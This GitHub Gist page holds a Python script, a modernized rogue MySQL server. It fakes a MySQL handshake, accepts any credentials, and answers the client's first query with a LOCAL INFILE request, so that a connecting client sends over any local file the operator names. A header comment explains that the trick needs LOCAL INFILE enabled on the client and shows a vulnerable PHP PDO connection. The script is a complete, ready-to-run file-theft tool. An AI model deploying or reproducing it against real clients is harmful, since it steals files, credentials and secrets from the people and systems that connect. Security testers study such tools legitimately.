Created
December 9, 2024 20:01
-
-
Save qtc-de/a3ffe45d83414187b2f1b47dfadfe5e2 to your computer and use it in GitHub Desktop.
Modernized version of https://github.com/Gifts/Rogue-MySql-Server
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# Modernized version of https://github.com/Gifts/Rogue-MySql-Server that works without further dependencies. | |
# However, this technique does no longer work by default in most MySQL clients. The ability of the server | |
# to request local files from the client is usually restricted nowadays and needs to be unlocked using specific | |
# parameters in the client config or the connection string. The following lines show a an example how to emulate | |
# a vulnerable PHP based MySQL client: | |
# | |
# php > $db = new PDO('mysql:host=127.0.0.1;dbname=test', 'root', 'root', array(PDO::MYSQL_ATTR_LOCAL_INFILE => true)); | |
# php > $db->query('SELECT user()'); | |
from __future__ import annotations | |
import socket | |
import struct | |
import asyncio | |
import argparse | |
parser = argparse.ArgumentParser(description='''rogue-mysql v1.0.0 - Another rogue-mysql server. All the | |
heavy lifting was done by Gifts in his original Rogue-MySql-Server | |
project (https://github.com/Gifts/Rogue-MySql-Server). This script | |
is just a refactoring to make it run without any further package | |
requirements.''') | |
parser.add_argument('file', help='file to read from incoming clients') | |
parser.add_argument('--ip', default='0.0.0.0', help='the ip to listen on') | |
parser.add_argument('--port', default=3306, type=int, help='the port to listen on') | |
class MySqlPacket(): | |
''' | |
Mimics a MySql package. | |
''' | |
def __init__(self, seq: int, payload: bytes) -> None: | |
''' | |
''' | |
self.seq = seq | |
self.payload = payload | |
def pack(self) -> bytes: | |
''' | |
''' | |
payload_len = len(self.payload) | |
if payload_len < 65536: | |
packet_header = struct.Struct('<Hbb') | |
header = packet_header.pack(payload_len, 0, self.seq) | |
else: | |
packet_header_long = struct.Struct('<Hbbb') | |
header = packet_header_long.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.seq) | |
return header + self.payload | |
def parse(raw_data: bytes) -> MySqlPacket: | |
''' | |
''' | |
seq = raw_data[0] | |
payload = raw_data[1:] | |
return MySqlPacket(seq, payload) | |
async def recv(loop, client) -> MySqlPacket: | |
''' | |
''' | |
data = await loop.sock_recv(client, 3) | |
length = data[0] + 256 * data[1] + 65536 * data[2] + 1 | |
data = await loop.sock_recv(client, length) | |
packet = MySqlPacket.parse(data) | |
return packet | |
async def send_auth_ok(loop, client, seq) -> None: | |
''' | |
''' | |
auth_ok_package = MySqlPacket(seq, b'\x00\x00\x00\x02\x00\x00\x00') | |
await loop.sock_sendall(client, auth_ok_package.pack()) | |
async def send_ok(loop, client, seq) -> None: | |
''' | |
''' | |
ok_package = MySqlPacket(seq, b'\x00\x00\x00\x00\x00\x00\x00') | |
await loop.sock_sendall(client, ok_package.pack()) | |
class MySqlListener(): | |
def __init__(self, ip: str, port: int, file: str) -> None: | |
''' | |
''' | |
self.host = ip | |
self.port = port | |
self.file = file | |
self.socket = None | |
self.clients = [] | |
async def run(self) -> None: | |
''' | |
''' | |
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
self.socket.bind((self.host, self.port)) | |
self.socket.listen(5) | |
self.socket.setblocking(False) | |
loop = asyncio.get_event_loop() | |
print(f'[+] Starting Rogue MySql Server on {self.host}:{self.port}') | |
while True: | |
client, _ = await loop.sock_accept(self.socket) | |
self.clients.append(client) | |
print(f'[+] \tIncomming Connection: {client.getpeername()}') | |
loop.create_task(handle_client(client, self.file)) | |
def stop(self) -> None: | |
''' | |
''' | |
for client in self.clients: | |
client.close() | |
self.socket.close() | |
async def handle_client(client, file: str) -> None: | |
''' | |
''' | |
welcome_package = MySqlPacket( | |
0, | |
b''.join(( | |
b'\x0a', # Protocol | |
b'5.7.29-ubuntu' + b'\0', # Version | |
b'\x36\x00\x00\x00', # Thread ID | |
b'saltsalt' + b'\0', # Salt | |
b'\xdf\xf7', # Capabilities | |
b'\x08', # Collation | |
b'\x02\x00', # Server Status | |
b'\0' * 13, # Unknown | |
b'salt2222' + b'\0', # Unknown | |
)) | |
) | |
loop = asyncio.get_event_loop() | |
await loop.sock_sendall(client, welcome_package.pack()) | |
packet = await MySqlPacket.recv(loop, client) | |
await MySqlPacket.send_auth_ok(loop, client, packet.seq + 1) | |
while True: | |
packet = await MySqlPacket.recv(loop, client) | |
# Payloads starting with 0x03 are query packages | |
if packet.payload[0] == 0x03: | |
file_read_package = MySqlPacket(packet.seq + 1, b'\xfb' + file.encode('utf-8')) | |
await loop.sock_sendall(client, file_read_package.pack()) | |
packet = await MySqlPacket.recv(loop, client) | |
if len(packet.payload) == 0: | |
print(f'[-] \tLOCAL INFILE is disabled for client {client.getpeername()}') | |
else: | |
print(f'[+] \tContents of {file} for {client.getpeername()}:') | |
print(packet.payload) | |
await MySqlPacket.send_ok(loop, client, packet.seq + 1) | |
break | |
await MySqlPacket.send_ok(loop, client, packet.seq + 1) | |
async def main() -> None: | |
''' | |
''' | |
args = parser.parse_args() | |
mysql_server = MySqlListener(args.ip, args.port, args.file) | |
try: | |
await mysql_server.run() | |
except Exception as e: | |
mysql_server.stop() | |
print(e) | |
asyncio.run(main()) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment